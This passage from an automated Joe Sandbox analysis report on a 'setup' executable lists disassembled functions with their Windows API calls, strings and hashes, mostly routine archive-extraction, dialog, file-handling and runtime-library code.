Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: abb2491705046864c846e23d3753e09d759dd73eb02209fdcba4b826e3f483cf
Instruction ID: 0debc5962991b44f4bdfad31837996bce3db8fcebfbba5317305dd10723f0b22
Opcode Fuzzy Hash: abb2491705046864c846e23d3753e09d759dd73eb02209fdcba4b826e3f483cf
Instruction Fuzzy Hash: 27A0129D96C1027C300C31012C03E37022CC0D5F20730480FB0079444055881C05403D

Function 004ADC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADC36

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d7e71257e1e2e3e6ba9e44cbdb73be000e5305ee8691d0cb820bfb2d60941dfe
Instruction ID: 0debc5962991b44f4bdfad31837996bce3db8fcebfbba5317305dd10723f0b22
Opcode Fuzzy Hash: d7e71257e1e2e3e6ba9e44cbdb73be000e5305ee8691d0cb820bfb2d60941dfe
Instruction Fuzzy Hash: 27A0129D96C1027C300C31012C03E37022CC0D5F20730480FB0079444055881C05403D

Function 004ADC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5c778cda6226b22f9dd84a9e55b18bb326910f64de255de6f164f8788440b053
Instruction ID: 91adac904859a3736978f44e17c63e7b2af2ecc86cabc364e2406cc78cf74ff7
Opcode Fuzzy Hash: 5c778cda6226b22f9dd84a9e55b18bb326910f64de255de6f164f8788440b053
Instruction Fuzzy Hash: 3EA0129966C0027C300811412C07E37022CC0D9F10730440FB0078044059481C05043D

Function 004ADC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b54e274da788e9b9f279002d241bdde2b45e20d2c3a5b4e86ff72b5a9c2899b3
Instruction ID: 91adac904859a3736978f44e17c63e7b2af2ecc86cabc364e2406cc78cf74ff7
Opcode Fuzzy Hash: b54e274da788e9b9f279002d241bdde2b45e20d2c3a5b4e86ff72b5a9c2899b3
Instruction Fuzzy Hash: 3EA0129966C0027C300811412C07E37022CC0D9F10730440FB0078044059481C05043D

Function 004ADC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6260cfbd821e797849f900de38b245dc860fb6617af12481cc93d2f238f2f105
Instruction ID: 91adac904859a3736978f44e17c63e7b2af2ecc86cabc364e2406cc78cf74ff7
Opcode Fuzzy Hash: 6260cfbd821e797849f900de38b245dc860fb6617af12481cc93d2f238f2f105
Instruction Fuzzy Hash: 3EA0129966C0027C300811412C07E37022CC0D9F10730440FB0078044059481C05043D

Function 004AA322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,004AA587,C:\Users\user\Desktop,00000000,004D946A,00000006), ref: 004AA326

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 295dba021360468110a2214cc1f315aa84275c1746cc5883d5cb53cbe1bc3c5b
Instruction ID: 2074bebd17d92361ce13de1cdc2a41d78535feca64c75ed5f18c2d49ccd31d45
Opcode Fuzzy Hash: 295dba021360468110a2214cc1f315aa84275c1746cc5883d5cb53cbe1bc3c5b
Instruction Fuzzy Hash: 65A012301940065A8A400F30CC09C1576505760703F00C6307042C00A0CF30C814A504

Function 004996D0 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,0049968F,?,?,?,?,004C1FA1,000000FF), ref: 004996EB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 75a9cf553284cea309caa57379b9d5a8df26a8c8710541901ef506288841999f
Instruction ID: af66f146d02e2a2d3b204771e996b1bf8dec76a03ddb58c41e9ceba9d29fe2d6
Opcode Fuzzy Hash: 75a9cf553284cea309caa57379b9d5a8df26a8c8710541901ef506288841999f
Instruction Fuzzy Hash: EBF054315967048FDF308E29D558B937BE49B16725F048B6F90E74369097696C4D8B08

Non-executed Functions

Function 004AB8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0049130B: GetDlgItem.USER32(00000000,00003021), ref: 0049134F
Part of subcall function 0049130B: SetWindowTextW.USER32(00000000,004C35B4), ref: 00491365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 004AB971
EndDialog.USER32(?,00000006), ref: 004AB984
GetDlgItem.USER32(?,0000006C), ref: 004AB9A0
SetFocus.USER32(00000000), ref: 004AB9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 004AB9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 004ABA18
FindFirstFileW.KERNEL32(?,?), ref: 004ABA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 004ABA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 004ABA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 004ABA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 004ABA94
_swprintf.LIBCMT ref: 004ABAC4

Part of subcall function 0049400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0049401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 004ABAD7
FindClose.KERNEL32(00000000), ref: 004ABADE
_swprintf.LIBCMT ref: 004ABB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 004ABB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 004ABB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 004ABB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 004ABB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 004ABBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 004ABBC9
_swprintf.LIBCMT ref: 004ABBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 004ABC08
_swprintf.LIBCMT ref: 004ABC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 004ABC6F

Part of subcall function 004AA63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 004AA662
Part of subcall function 004AA63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,004CE600,?,?), ref: 004AA6B1

Strings

%s %s, xrefs: 004ABB29, 004ABC4E
REPLACEFILEDLG, xrefs: 004AB907
%s %s %s, xrefs: 004ABAB2, 004ABBE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 91c533fb295b363bd101850b836fcd265921df1476bb8e9001fc6eae0b62a86f
Instruction ID: 72843aec02ddc41f28c7811fadee260065c39a39b893146f71f5e24b9ffa71a9
Opcode Fuzzy Hash: 91c533fb295b363bd101850b836fcd265921df1476bb8e9001fc6eae0b62a86f
Instruction Fuzzy Hash: 7391D6B2104348BFD6219BA0DD49FFB77ACEB4A704F04482EB749D2091DB799605C76A

Function 0049718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00497191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 004972F1
CloseHandle.KERNEL32(00000000), ref: 00497301

Part of subcall function 00497BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00497C04
Part of subcall function 00497BF5: GetLastError.KERNEL32 ref: 00497C4A
Part of subcall function 00497BF5: CloseHandle.KERNEL32(?), ref: 00497C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 0049730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 0049741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00497446
CloseHandle.KERNEL32(?), ref: 00497457
GetLastError.KERNEL32 ref: 00497467
RemoveDirectoryW.KERNEL32(?), ref: 004974B3
DeleteFileW.KERNEL32(?), ref: 004974DB

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 004971BC
SeRestorePrivilege, xrefs: 004971B2
UNC\, xrefs: 0049723C
\??\, xrefs: 00497217

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: acb1bd9a17d2e7b195dcea8f2255bfc9b023f741d96c601479c672156f1419fd
Instruction ID: 78c61f3a13d186bedceffde4ad07b4a49bda8bb6d62df93402d3d65242200244
Opcode Fuzzy Hash: acb1bd9a17d2e7b195dcea8f2255bfc9b023f741d96c601479c672156f1419fd
Instruction Fuzzy Hash: 34B1D271914215AADF20DF64DC45FEFBBB8AF04304F0444AEF949E7242D738AA49CB69

Function 00493281 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0049328A
_memcmp.LIBVCRUNTIME ref: 00493377

Strings

h%u, xrefs: 0049362D
hc%u, xrefs: 0049367B
CMT, xrefs: 00493990

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: 6b7390aa885032d01d25639605c62c835826d9a7401290d9585d4f0241123069
Instruction ID: 7fabe3506407a22311ee6609464ecd15284a7399c3791af621f27dee64f0b23a
Opcode Fuzzy Hash: 6b7390aa885032d01d25639605c62c835826d9a7401290d9585d4f0241123069
Instruction Fuzzy Hash: 6432C5715102849FDF14DF74C885AEA3BA5AF55304F44447FFD8ACB282DB78AA48CB68

Function 004BD00E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 004BD154

Strings

1#IND, xrefs: 004BE34C
1#SNAN, xrefs: 004BE353
1#QNAN, xrefs: 004BE35A
1#INF, xrefs: 004BE361

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 762a252f646053187f95b7995378ec4ac4503ad7e6a2d46acb96182ee0abd6e4
Instruction ID: 4160111c5cded2144add582e506c9d8537da6f00e2786c7ca53b342dc3f36bff
Opcode Fuzzy Hash: 762a252f646053187f95b7995378ec4ac4503ad7e6a2d46acb96182ee0abd6e4
Instruction Fuzzy Hash: F4C25C71E086288FDB25CE29DD407EAB7B5EB84305F1541EBD80EE7240E778AE818F55

Function 004927E8 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004927F1
_strlen.LIBCMT ref: 00492D7F

Part of subcall function 004A137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0049B652,00000000,?,?,?,00010412), ref: 004A1396

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00492EE0

Strings

CMT, xrefs: 00492F13

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 44b7d2f74e4f6f9963a827fc152881b96a83a6cc0f578e1ec52b002ba684e445
Instruction ID: fbb23e9541b9b16896f1ec16b139e46156fa7eb9d6c1623e4fb9eb505fba3ce1
Opcode Fuzzy Hash: 44b7d2f74e4f6f9963a827fc152881b96a83a6cc0f578e1ec52b002ba684e445
Instruction Fuzzy Hash: 526202716002449FDF28DF24C985AEA3FE1AF55304F05457FEC8A8B386D7B8A945CB58

Function 004B866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 004B8767
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004B8771
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 004B877E

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 23f5338dc9d3e143044a86c908b50ee2298d3e4993da7fe37d82fe31f590687e
Instruction ID: 7102e60c9a05053291fe55bd992755cb664dcc528e784311f80f5f66d35c3e88
Opcode Fuzzy Hash: 23f5338dc9d3e143044a86c908b50ee2298d3e4993da7fe37d82fe31f590687e
Instruction Fuzzy Hash: EB31D675901228ABCB61DF65DC88BCDB7B8BF18314F5041EAE80CA7250EB349F858F48

Function 004BCB60 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction ID: 4568a569deb484304bfa2610bef54f7ee968bc94751fa1d3c3d1f2edaaccab81
Opcode Fuzzy Hash: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction Fuzzy Hash: 4C021C71E002199BDF14CFA9C8C06EEBBF5EF88314F25816AE919E7384D735A941CB94

Function 004AA63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 004AA662
GetNumberFormatW.KERNEL32(00000400,00000000,?,004CE600,?,?), ref: 004AA6B1

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 203a5f6b2b8bdd0f392c37b11f534bbb0169ffe5f824f44986bb630667eb4956
Instruction ID: 8c3123f23e73667f50b7a8efdf003eda8506bb5bcff6781a560c92d28aea24d4
Opcode Fuzzy Hash: 203a5f6b2b8bdd0f392c37b11f534bbb0169ffe5f824f44986bb630667eb4956
Instruction Fuzzy Hash: A1019E36210248BEDB508FA6DC45F9B77BCEF19311F504422FA4997150D7709A248BA9

Function 00496EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(004A117C,?,00000200), ref: 00496EC9
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00496EEA

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 3bda05e08eff200b2393cc53b542959f48f8a75854e1f3857fefe5adb1cf483e
Instruction ID: 8f19c48bdcda7aa2122f568bd43ceb8f181162becf40a6275f62d1585a877784
Opcode Fuzzy Hash: 3bda05e08eff200b2393cc53b542959f48f8a75854e1f3857fefe5adb1cf483e
Instruction Fuzzy Hash: 76D092362C8206BAEE510B758C06F6B7FA4A755B86F20C529B256E90E0CA709015962D

Function 004C1194 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

